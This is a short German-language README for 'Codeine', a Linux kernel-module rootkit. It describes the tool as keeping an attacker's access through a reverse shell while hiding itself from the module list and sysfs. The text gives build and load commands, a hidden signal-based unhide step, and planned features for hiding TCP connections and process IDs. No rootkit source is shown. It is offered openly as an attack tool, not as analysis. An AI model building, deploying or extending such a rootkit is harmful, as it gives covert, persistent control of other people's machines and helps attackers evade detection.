Codeine

 .o88b.  .d88b.  d8888b. d88888b d888888b d8b   db d88888b 
d8P  Y8 .8P  Y8. 88  `8D 88'       `88'   888o  88 88'     
8P      88    88 88   88 88ooooo    88    88V8o 88 88ooooo 
8b      88    88 88   88 88~~~~~    88    88 V8o88 88~~~~~ 
Y8b  d8 `8b  d8' 88  .8D 88.       .88.   88  V888 88.     
 `Y88P'  `Y88P'  Y8888D' Y88888P Y888888P VP   V8P Y88888P 
 

Codeine ist ein Linux-LKM-Rootkit, das darauf abzielt, die Persistenz des Angreifers über eine Reverse Shell sicherzustellen und im System vollständig verborgen zu bleiben. Es verbirgt sich selbst vor der Modulliste und sysfs.

Getestet mit Kernel-Version:

6.x

5.15

Installation

make
insmod codeine.ko

Deinstallation

kill -59 0 //if CANBEHIDE var is TRUE
rmmod codeine

Offene Aufgaben

TCP-Verbindungen verbergen

PIDs verbergen

Konfigurationsdatei mit Netzwerkinformationen erstellen